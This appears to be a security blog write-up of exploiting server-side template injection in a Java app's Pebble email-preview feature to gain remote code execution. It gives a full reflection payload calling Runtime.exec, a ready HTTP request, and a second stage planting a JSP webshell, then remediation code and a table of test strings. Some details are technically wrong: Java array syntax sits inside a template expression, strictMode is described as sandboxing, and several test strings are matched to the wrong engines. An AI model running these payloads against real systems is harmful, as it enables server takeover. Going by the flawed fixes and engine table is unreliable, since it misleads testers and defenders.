SSTI to RCE in a Java Application

Server-Side Template Injection (SSTI) is often overlooked in Java applications. Most developers assume that if they're not using JSP with raw expressions, they're safe. This isn't true.

I recently encountered a Java application using the Pebble template engine. Here's how I found and exploited an SSTI vulnerability that led to full RCE.

Discovery

The application had a feature where users could generate custom email templates. The preview functionality rendered the template server-side:

POST /admin/email/preview

message=<p>Hello {{name}}, your order is confirmed!</p>

The name parameter was user-controlled and inserted into a Pebble template. I tested with:

{{ 7 * 7 }}

The preview rendered as 49. SSTI confirmed.

Understanding the Engine

Pebble is a Java template engine similar to Twig or Jinja2. It uses {{ }} for expressions and {% %} for tags.

I needed to understand what objects were available in the template context. I tested:

{{ this }}

This returned the PebbleTemplateImpl object. From here, I could navigate to Java reflection.

Building the Exploit

The standard Pebble exploit chain uses java.lang.Runtime:

{{ java.lang.Runtime.getRuntime() }}

But Pebble doesn't allow direct class access by default. I needed to go through available objects.

{{ this.getClass().forName("java.lang.Runtime") }}

This returned class java.lang.Runtime. I then built the full exploit:

{{ this.getClass()
        .forName("java.lang.Runtime")
        .getMethod("exec", this.getClass()
            .forName("java.lang.String"))
        .invoke(this.getClass()
            .forName("java.lang.Runtime")
            .getMethod("getRuntime")
            .invoke(null), "id") }}

The final payload URL-encoded:

POST /admin/email/preview HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

message={{ this.getClass().forName("java.lang.Runtime").getMethod("exec", this.getClass().forName("java.lang.String")).invoke(this.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "id") }}

Achieving Interactive Shell

One-shot command execution is limited. I uploaded a webshell using a two-stage approach:

First, write a JSP webshell to disk:

{{ this.getClass()
    .forName("java.lang.Runtime")
    .getMethod("exec", this.getClass()
        .forName("[Ljava.lang.String;"))
    .invoke(this.getClass()
        .forName("java.lang.Runtime")
        .getMethod("getRuntime")
        .invoke(null),
    new String[]{"/bin/sh", "-c",
        "echo <shell> > /var/www/html/shell.jsp"}) }}

Then access the shell:

curl http://target.com/shell.jsp?cmd=id

Remediation

The fix required two changes:

  1. Contextual output escaping — Pebble templates should be configured with strict sandboxing
  2. Sandbox configuration — Pebble supports a PebbleEngine.Builder().strictMode(true) option
// Vulnerable
PebbleEngine engine = new PebbleEngine.Builder().build();

// Fixed
PebbleEngine engine = new PebbleEngine.Builder()
    .strictMode(true)
    .registerExtension(new SandboxExtension())
    .build();

Additionally, user-supplied templates should never be rendered with the full engine. Template content should be sanitized or rendered in a sandboxed environment.

Detection Patterns

When testing for SSTI in Java applications:

Test String Expected if SSTI Engine
{{ 7 * 7 }} 49 Pebble, Freemarker
${7*7} 49 Freemarker
${{7*7}} 49 Velocity
*{7*7} 49 Thymeleaf
#{7*7} 49 JSP EL

References